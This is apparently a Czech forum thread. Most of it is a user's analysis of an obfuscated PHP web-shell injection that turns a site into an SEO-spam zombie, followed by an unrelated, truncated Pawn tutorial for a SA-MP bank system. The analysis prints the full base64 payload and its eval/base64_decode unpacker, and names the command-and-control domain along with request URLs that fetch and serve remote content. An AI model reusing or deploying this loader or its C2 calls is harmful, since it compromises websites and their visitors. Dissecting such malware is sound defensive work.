OwjPouyGY44AYJ+prLAYIulJYulJYulJYulJYulJYSbU3pkPBAenYEbgBqkPopcPovlPoGlpRiXURwknoLAYIulJYulJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvWbVLWBQLpc54UBFtnhk7fKelJYulJYulJYulJYulJYulJYulJYulJYuvUBVFgB5vioXHN3EcJY49JYNAYIulsRATWOwjPou+fKelJYulsOqyPr4tCIpeWREFzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIEjPoSvgoJapc8tCIE2PBq1ih4tsY9LU2G+fKelJfFyN2k0iB1XNf4tzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlCd0lpF0nsY9rgoEkUBVFgB5viol+prLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JDuvo0WVwVLtUBVFgB5violtoh4tCtXjUYN7fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvUBVFgB5vioXHN3EcnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+gRE0NfeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYuyC2wdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOwdgO8lp3XjUYSbgBqkJOqkN3GlUtwjPbwcJO1XNOkaiOw4JOiXgBqkJhN7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYuvW2wIJf0lpOX0WRSHW2wICIN6Cc8tCIEtU3WkPI4tC3ATWOwjPouaNOXFs2EXWOQ9pc4vgBKapci0iB1FshNapREkUouapci3iBJ9pc4vgO9rWY4tptXjUf0tCIEvWY4tpb1XNRE5NOQ9pc4vUBVFWRkFih4tpbiTUOw0ZoSkshNapOiTUOw0ZoSkCINbUBVFo3AFUOk0N19aWB09pc4vUBVFo3AFUOk0N19aWB0apcijPoSHUtwjshNapO1XNV9aWB0apcivPoEXxbw3shNapOEXWOVzioNapci1Nbv9pc4vN211NbvapcieWREFshNapOX0WRu7fKelJYulJYulJOkbnRA1PtA0NIlvWOwjNYFFCflTsx0tN2XkUOq4UBFtnoLAYIulJYulJYulJYulJYE4UBqaPB1kJf0lN3wIN3EcnYE0iB1FCflTCINaZO1LprLAYIulJYulJYulHK0nJYulJYulJYSTiIXrWBprWRJepREkUouLGYF3nx09p2XXP2j4UBFtnoLAYIulJYulJYulJYulJOkbnRA1PtA0NIlvWOwjNYF3nhk7fKelJYulJYulJYulJYulJYulpRXjUO5XUBQlshSrWBprWRJepREkUouLAcvapc54UBFtzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulJYulJOkbnDuvo0WVwVLtUBVFiOkcp10TZF0nJYulJYulJYulJYulgBPepOiTUOw0ZoSksx0qnoLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JYE4UBqaPB1kCINai3etzF0nJYulJYulJYulJYulHBwLN2QlgBPepOiTUOw0ZoSksx0cnoLAYIulJYulJYulJYulJYulJYSTiIXbWB5dWOkyUk9kZOkrWRGep2W6U3SkUINTnhS7fKelJYulJYulJYulJYulJYulJYulJYE4UBqaPB1kJf0lpRXjUO5XUBQapc5tZIN7fKelJYulJYulJYulJYulJYulJYulJOkbnYEbNYu9JOW6U3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlp3N5pcvTZF0nJYulJYulJYulJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulJYulJYulJYSTiIXrWRpTN3EcnYE4UBFLp25yJOAciBV0JO1XNYNTnoLAYIulJYulJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJYulJYulJYulJYulJYEbNYu9JOW6U3SkUIuepO1XNOETNI4tCcNapRXjUO5XUBQLJYW3zhNTzF0nJYulJYulJYulJYulJYulJYulJYulJYuli3T3Nbk0ihuepOiFCYuvZO1LnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOW6P2qyN2QepOiFnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJYulJYulJYuli3TdUO9rihlvituTzF0nJYulJYulJYulJYulJYulJYulJYulJYuliBAeUcutsOiyUtKlN3E5UOQ9JbAyUO9cztpkiYJ+P3pkPoKlN2k0iB1XNYSbPBkLihSzUcSKiopjgoArgB9aNcD8C2iyUtK+sOpcsbX0WRu6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbW6U3SkUISaUcSkZOkrWRGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYE3iBJlshuvgRE0NV93iBJapreyCcNapOWyW2wICINyN2k0iB1XNY5FgRu/iOV0ix0tCIETiY4tptEkUou9pc4vWOwjNY4tptWkPd0tCIEeU3A0CINbZO1LshNapOE0CINbUBVFWRkFix0tCIEjPoS0ZoSkCINbgRE0Nf0tCIEeWREFzF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeib9FiB4epO1XNOETNI4tCcNapRXjUO5XUBQLJYp3JIvTZF0nJYulJYulJYulJYulJYulJYE4UBFlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYulJYulJYulJOkbnRA0NbkrWRJepRXjUYFtUb8lP3pkPoKlUBVFpcvTZF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJOw4goK7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjZBiTUOQlshSbU3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlJtNInxLAYIulJYulJYulJYulJYulJYSbW3pTWOQepO15ibkLihFlpRXjUYv7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOidUO9rihlvUokbgBqknxLAYIulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5dNbwXWYSrgoEkUBVFJOiXgBqkJD5yJVSkNb1TN3ATU25rJxFyib9aWf48PtJ+gRE0NfeyCcNapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSTiIXbU3SkUIlvZO1LUbVjihFlJtNInhk7fKelJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvZO1LCYWaUcSdNbwXWYSjPoutnhk7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsb5yJOAciBV0JO1XNYD8C2iyUtK+prLAYIulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvZO1LnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+JI4vgRE0NY4IzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIE4UBqaPB1kzF0nJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbAciBV0JRATWOwjPoulibVTUOQlxb8lQOwcUBkrN2kyUtGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYuliBAeUcuIsOpcsIJapRWkPdLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOkvnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulJYulJYEeWO1Lo2AyUtEkUtKlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYSTiIlXN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp25yPb90WoAkNbVtiB50pcvTZF0nJYulJYulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYulJYulpOX0UBqHP29aWOwaWYu9JRA0Nk9cioSLPBAknYpyg2X0UBqtioEdU250iB50JIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJYulJYSkP2XyJYEeWO1Lo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtK1GfSFPBWkpcvTZF0nJYulJYulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfQFGYSpUtEkNb5XUYSxiop2ioJlEopcU3JtnxLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfKFARSXi2Qtnhk7fKelJYulJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlAfu0JD5yWYSOU3waiYNTzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJR0AYt1kURAkZF0nfKelJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (https://sandbox.onlinephpfunctions.com/). Vložíme si do něj náš původní inject, nicméně "eval" přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme ZA náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup. Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu inject funguje jen na verzi php 5.6.* a na 7+ nepoběží Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru: https://pastebin.com/i3ASp9Qv (má nějakých 500 řádků - zbytečně bych projebal místo v topicu ) Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru: $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami: echo $O00OO0{3} //b echo $O00OO0{6}; //a echo $O00OO0{33}; //s echo $O00OO0{30}; //e echo $O00OO0{33}; //s echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O0OO00{0}; //s echo $O00OO0{18}; //u echo $O00OO0{3}; //b echo $O0OO00{0}; //s echo $O0OO00{1}; //t echo $O00OO0{24}; //r echo $O00OO0{7}; //5 echo $O00OO0{13}; //2 echo $O00OO0{22}; //6 echo $O00OO0{36}; //4 echo $O00OO0{29}; //_ echo $O00OO0{26}; //d echo $O00OO0{30}; //e echo $O00OO0{32}; //c echo $O00OO0{35}; //o echo $O00OO0{26}; //d echo $O00OO0{30}; //e Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho) $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; //base $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; //strtr $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; //substr $OO0000=$O00OO0{7}.$O00OO0{13}; //52 $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //64_decode eval($O00O0O.. tedy ve skutečnosti znamená eval(base64_decode... Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce. Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru.. Hlavní mamina tohoto skriptu je adresa: $goweb = 'dthirty-eight2.sigfoxfoundationg.shop'; dále pinguje na: $data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content; a hned u toho v komentáři lze najít "http://www.gudangsehat.com/mapindex.xml" Mamina funguje na několika PHP souborech: 'dthirty-eight2.sigfoxfoundationg.shop/a.php' 'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew 'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock 'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu. a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa. sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat. index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu) if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } S posledním sitemap.php už jsem se ani neobtěžoval srát. Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
  2. EASY BANKSYSTEM Předtím, než tohle někdo z uživatelů napíše, rád bych řekl, že takové návody jsou roky staré, nefunkční a nebo naprosto prasácky zpracované. Než přistoupíme k návodu, tak bych chtěl zmínit pár bodů, které v tomto návodě nebudu vysvětlovat do podrobností(až ke konci k tomu budu mít pár poznámek): Vizuální zpracování dialogů - To si může každý uživatel udělat idividuálně(v tom případě si proto si hlídejte délky v řetězcích !), Větší počet bankomatů - Chci se spíše zaměřit na ukázku, jak jednodušše na takový systém. Samozřejmě, lze i snadno aplikovat na více bankomatů, Ukládání a načítání množství peněz v bance - Kromě toho, že každý používá jiný include na ukládání a načítání, tak opravdu nemám v úmyslu ukazovat, jak ukládat jednu proměnnou. ZAČÍNÁME Samozřejmě, nahrajeme si základní include a_samp. #include <a_samp>Budeme potřebovat nějakou proměnnou, kam se bude vpisovat počet peněz v bance: new Banka[MAX_PLAYERS];Jelikož víme, že určitě nebudeme zadávat záporná čísla, a přes fci strval může projít záporné znaménko, tak pro jistotu si přidáme fci, aby zjišťovat čistě jen a pouze čísla: stock OnlyNumbers(input[]) { new i; while (i != strlen(input)) if (input[i] <= '9' && input[i] >= '0') i++; else return false; return true; }Nakonec, by bylo dobré si pojmenovat nějak id dialogů, aby si to pak každý mohl individiálně upravit. Můžeme zvolit buď preprocesorovou cestu a nebo přes výčet hodnot. My použijeme výčet 